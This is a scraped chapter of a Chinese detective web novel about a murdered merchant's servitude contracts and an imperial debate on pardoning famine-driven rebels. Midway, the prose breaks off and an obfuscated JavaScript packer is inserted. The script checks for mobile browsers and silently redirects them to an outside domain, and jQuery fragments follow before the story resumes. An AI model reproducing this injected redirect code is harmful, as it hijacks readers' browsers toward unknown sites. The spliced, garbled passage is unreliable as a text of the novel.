161. 仁者无敌

作品:《女驸马探案录

    “因为老夫记得很清楚,张知乐的嫂子和侄女确实是失踪了。这案子还曾经上报过给京兆府。”


    颜清越不由紧张起来。


    “人找到了吗?”


    谢守一摇摇头。


    “没有。我记得是十几年前吧,张知乐嫂子的娘家弟弟来京兆府报案,说他已经新寡的姐姐和外甥女失踪了。我们盘问过张知乐,张知乐说,是他嫂嫂自己不想呆在家中才离开的,离开时,他也把其兄长的遗产折合成银票给了她。”


    “既然是离开,总会有个去处吧?”


    “张知乐说她是回娘去了。我们查过,那日张知乐的嫂嫂确实出了京城,只是他的侄女并没有找到踪迹。”


    “活要见人,死要见尸,人就这么失踪了?不太可能吧?”


    “谁知道呢,之前我还以为是那妇人路遇盗匪被杀,可今日一看,怕就是张知乐所为。”


    谢守一说完开始赶人。


    “你不如再去现场搜一搜,总是有线索的。”


    颜清越也正有此意,带着陆行就离开了。


    二人一走。


    郑观云等人又围了上来。


    事关自己朋友,李翱的态度尤其迫切。


    “谢参军,那这案子会不会真的是韩氏那个妇人所为?”


    郑观云否定道:“方才郡主都说了,两个案子应该有关联,韩氏杀张知乐正常,杀苏老先生就很奇怪了。”


    谢守一摇头一笑。


    “你们听说过模仿杀人吗?”


    发现尸体后,二人只简单搜寻了屋内,抽屉柜子都还没有打开。


    二人到的时候,张大郎也在,他身着孝衣,面前放着一厚摞东西,似乎是在书桌前收拾着账册。


    见到二人,他的动作立即慌张了起来,甚至差点把东西打翻。


    颜清越一步跨上前,状似无意瞟了一眼。


    “张郎君这是在收拾什么?”


    张大郎摸了一把脸。


    “家父的一些账册。日后生意总是要我来打理的,我就想着先把账册整理好。”


    这是在撒谎。


    颜清越很清楚。


    但是他做这些应该只是为了争夺家产罢了。


    张大郎将账册向后挪了挪。


    “郡主和殿下是有何贵干?可是家父的死有了什么线索?”


    颜清越没有再深究。


    “我们想看看你父亲生前留下的东西。”


    张大郎按着账册的手一颤。


    颜清越目光投射在其上。


    “包括账册。”


    “可是……”


    颜清越明白他的顾虑。


    自小没了母亲,父亲又偏心弟弟,一个好好的长子竟然什么都不给留,也确实可怜。


    “看完你就拿走。”


    张大郎的手这才挪开。


    “那二位可还要看什么?”


    颜清越给陆行使了个眼神。


    “我们自己找。”她顺势坐下,翻开一本账册,“正好你在这儿,和我说说,你家的账册。”


    张大郎这才放心,老老实实给颜清越说起账册的情况。


    之前几本都很顺畅,一直到第四本,他有些卡壳。


    “郡主……歌舞戏班的事情都是父亲一个人在管,我从来都没有插手过,所以知道的也不多。”


    颜清越简单翻了翻。


    “这歌舞戏班的进项不多啊。一年下来,也就赚了一两百两银子。”


    张大郎犹豫了一二说道:“之前听父亲提起过,歌舞戏班主要是为了人脉,赚少点无所谓的。而且这生意父亲几乎没有打理过,全是赵班主负责。”


    “他们关系倒是不错,你父亲很信任他。”


    张大郎想到遗嘱的事情,面色一下变得不太好看。


    “确实。父亲和赵班主相识有十来年,关系一直不错。”


    “我怎么看你和他有些生疏?”


    按理说,这张大郎应该是赵迁看着长大的。


    为何会在遗嘱的事情上如此偏心韩氏母子?


    “我和赵班主少有接触。但是……您有所不知。韩夫人原本是个舞女,就是赵迁那个戏班的,后来赵迁把她送给了我父亲,二人也因此成了朋友。”张大郎趁机说道,“我怀疑遗嘱的真假也是因此。赵迁和她关系匪浅。”


    原本颜清越是不想掺和这些事的,但是事关案情,她自然是要搅和几下。


    “你是说他们两个……”


    张大郎微微点头。


    “本不好说这些话,可是她是舞女出身,和赵迁有所勾结也是常理。”


    手上的账册翻完,陆行也正好从后面出来。


    一沓纸张放在了面前。


    “是卖身契,一共有五十四张。”


    “这么多?!”颜清越拿起一看。


    最上面的一张写着刘圆,接着是陈怜、杨盈、张凤凤……都是不认识的人的名字,一直翻到下面才看见两个熟悉的名字,是杨虎和庆嫂。


    “这是戏班的卖身契?”


    张大郎接过翻了翻:“是,都是戏班的人。”


    “这个戏班不是只有二十来个人吗?”


    张大郎思量了片刻。


    “或许还有铺子里的人手吧,父亲应该是把他们的卖身契都放在了一起。”


    见他对自己家生意不熟悉的样子,颜清越也心知肚明。


    这个张知乐一直防着自己儿子呢!


    颜清越晃了晃手里的卖身契:“这个我先拿走,账册你带走吧。”


    张大郎也不在乎卖身契,这东西都是在官府有留存的,就是丢了问题都不大。


    账册,才是他现在最看重的东西。


    “是。”


    颜清越跨出房门又忽然顿住脚步,转头对着他说道:“不管怎样,你要善待你的弟弟,他才五岁,现在也只是一个痴儿。”


    张大郎低眉顺眼:“小民明白的,大人的事情和孩子没关系。”


    “你明白就好。”


    当晚,陆行终于收到了丰茂传来的书信。


    是一只雪白的鸽子送来的。


    陆行将信拆下,看了一眼就黑下脸。


    颜清越好奇探头。


    “‘主子!你们是不是又遇到命案了?’”她撇嘴,“这个丰茂太过机灵。”


    陆行无奈一笑。


    “我们也确实……运气不太好。”


    “他还说什么了?”


    “打通通道还需要七日左右的时间,让我们稍等。”


    “你可以给他回信吗?”


    “你要查什么?”


    “对,我想查一查汪家大郎之死,还有张知乐的来历,尤其是他兄长一家的死。”


    “好,我给他回信。”


    “还要给爹娘他们报个平安!”


    “丰茂早送了信。”


    “别光给太子传信,还有陛下,不然陛下又要生闷气。”


    “也没忘记。”


    皇宫。


    收到太子转交给自己报平安的信,皇帝有些感动。


    这次知道给他这个做爹爹的知会一声了!


    只是……


    这俩孩子怎么老碰见人命案?


    皇后从内室走出来。


    “听说三郎那边出了事?”


    “又碰上人命案了,有人把那山炸了,人被困在了山里。”


    皇后不禁担忧:“可有受伤?”


    “应当是没有。三郎说,被困的还有郑家那几家的郎君。”说到郑家,皇帝的眼神变得阴郁了起来。


    皇后知道他心烦什么。


    “陛下,还没有找到线索?”


    这段时间,皇帝一直没有出手就是想要先麻痹郑士化,伺机寻找被换走的公主的下落。


    皇后坐在他身边,温言劝道:“孩子福大命大,一定不会有事的,只是郑士化把人藏得很深。”


    “但愿。”皇帝闭上双眼。


    理智告诉他,孩子很有可能已经死了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290787|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “陛下准备何时对郑家动手?这样等下去也不是法子,郑士化自己也有儿子,我们也可以反过来威胁他啊。”


    “先让他在家养病,郑家王家……这些家族的人太多了。”


    皇帝睁开眼,略圆的双眼满是杀气。


    就是要杀也一时杀不干净,他又不可能真的直接挥刀杀人。


    “太安道的事情现在才是第一要紧的。”皇后面色沉重了许多,“虽然事过多年,但是太安道的势力庞大,还深植于百姓之中。那些宦官宫女还有官员都好处理,可是那些百姓……”


    她还是认为那些百姓是无辜的。


    皇帝也正头疼。


    太安道的信徒名单是找到了。


    但是,真论起来,太安道大多都是走投无路的百姓,绝大部分名单上的人都和逆党那一伙是不一样的。


    杀,他下不去手,不杀……太安道终究是叛逆大周的反贼。


    “太子,你怎么看?”


    太子问道:“父皇是有何顾虑?”


    “太安道终究是反贼,朕若是轻纵,岂不是让人人都认为,造反也可以被饶恕?如此,朝政不安啊。”


    “父皇的顾虑是有道理的。若是放过那些人,确实会让有心之人对皇权无所畏惧从而效仿其所为。可是父皇……太安道为何叛乱?”


    皇帝也说了实话。


    “张鹿是为他的道,百姓是为了生存。”


    太子说道:“父皇可知道三郎为何痴迷于农耕之事?”


    皇帝一时无言。


    他还真不知道为何,只是再如何也比为非作歹好,他才没有多管。


    “为何?”


    “三郎曾经对孩儿提前过一次……”


    与此同时,困在桃源村的陆行也在回答同样的问题。


    只是发问的人是颜清越。


    种地是最苦的,她虽然不懂,但是也亲眼见过农人粗砺的皮肤变形的关节。


    “我幼时曾经在军营呆过一段时间。有一次,我在战俘里见到一个荥阳人,就和他多聊了几句。观其言行,那人就是个普通百姓,一点儿也不像是所谓的叛军。我很好奇,问他为何要叛乱。他当时叹了口气,对着我说起了他的过去。”


    陆行的声音不由带上一点嘶哑的味道。


    “他姓尤,本来是个普通的农户,家里还有好几亩田,每日勤勤恳恳,一家人节俭,日子也算过的下去。可是十几年前,他们那里先是春洪又是夏旱,到了秋季,还闹起了蝗灾。庄稼绝收了。为了活下去,他们一家人勒着裤腰带过日子,一天一顿,吃了饭就不动,饿了就喝水。可是到了年尾,粮缸还是见了底。”


    颜清越听得心酸:“朝廷的赈灾粮呢?”


    “层层盘剥,到手也就一袋糠,撑不了一个月。后来,糠都吃完了,他们就去吃树皮。那东西是抗饿,但是却不好克化,吃了几日,排不出来,他的妻儿被活活疼死,只生下他。再后来,树皮也都被啃光了,他只能逃难,离开老家往城里去。就在进城的时候,他们这些难民被官军捉了说他们是反贼要杀他们。”


    “这不是杀良冒功吗!”


    “那个时候,多见得很。他们被抓走的当晚,官府的一个官员忽然将主官等人杀了,开门将一支军队迎了进来。那支军队就是反贼,他们开仓放粮,释放了被关押的百姓。那人也终于吃到了一顿香软的白米饭。就是为了这口饭,他就成了‘反贼’。我是个没本事的人,不像大哥,学不会兵法,也看不懂治国之策,也没有二哥那么聪明的脑子。我能做的,只有这么多了……”


    ……


    皇帝听完太子的话,眼睛不由湿润。


    “父皇认为,他们是反贼吗?”


    “自然不是……”


    “名单上的人,孩儿都让人去核对过,其中绝大部分人早已恢复了正常人的生活,并没有和太安道有所联系。只要他们能活得下去,就不会造反,父皇……”


    太子深深一拜。


    “仁者无敌。”